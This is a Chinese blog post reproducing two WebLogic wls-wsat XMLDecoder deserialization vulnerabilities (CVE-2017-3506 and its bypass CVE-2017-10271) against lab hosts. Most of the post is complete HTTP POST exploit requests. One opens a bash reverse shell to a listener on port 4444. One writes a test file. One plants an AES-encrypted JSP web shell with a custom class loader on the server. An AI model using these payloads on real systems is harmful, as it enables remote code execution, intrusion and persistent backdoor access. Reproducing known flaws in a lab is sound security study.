Weblogic漏洞复现

Weblogic漏洞复现

WebLogic XMLDecoder反序列化漏洞(CVE-2017-3506)

原理

网上爆出weblogic的WLS组件存在xmldecoder反序列化漏洞,直接post构造的xml数据包即可rce。

影响版本

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

复现

可能存在漏洞路径
/wls-wsat/CoordinatorPortType,/wls-wsat/RegistrationPortTypeRPC,
/wls-wsat/ParticipantPortType,/wls-wsat/RegistrationRequesterPortType,
/wls-wsat/CoordinatorPortType11,/wls-wsat/RegistrationPortTypeRPC11,
/wls-wsat/ParticipantPortType11,/wls-wsat/RegistrationRequesterPortType11

访问 http://192.168.190.136:7001/wls-wsat/RegistrationRequesterPortType ,响应出现 Web Services证明存在该漏洞。

image.png

执行反弹shell命令

POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 841

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
								<void index="1">
                  <string>-c</string>
                </void>
								<void index="2">
                  <string>bash -i &gt;&amp; /dev/tcp/192.168.190.1/4444 0&gt;&amp;1</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>

image.png

nc 监听 4444端口接收 bash shell

image.png

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

原理

CVE-2017-10271是对CVE-2017-3506 的补丁绕过,将 object 替换成 void。

影响版本

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

复现

访问http://192.168.0.131:7001/wls-wsat/CoordinatorPortType 响应出现 Web Services证明存在该漏洞

image-20230516095055547

使用POST方法发送特定的xml数据,可以实现各种命令执行。
尝试写入文件
请求包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.131:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 705

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <void class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test11</string></void><void method="close"/>
                    </void>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>

返回500,执行成功

image-20230516095549110

image-20230516095642654

写shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.190.131:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 1154

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java><java version="1.4.0" class="java.beans.XMLDecoder">
     <void class="java.io.PrintWriter"> 
     <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/zy.jsp</string>
     <void method="println"><string>
     <![CDATA[
  <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="b8a7336f1f7528e1";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </void></java></java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
</soapenv:Envelope>

image-20230516095804022

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值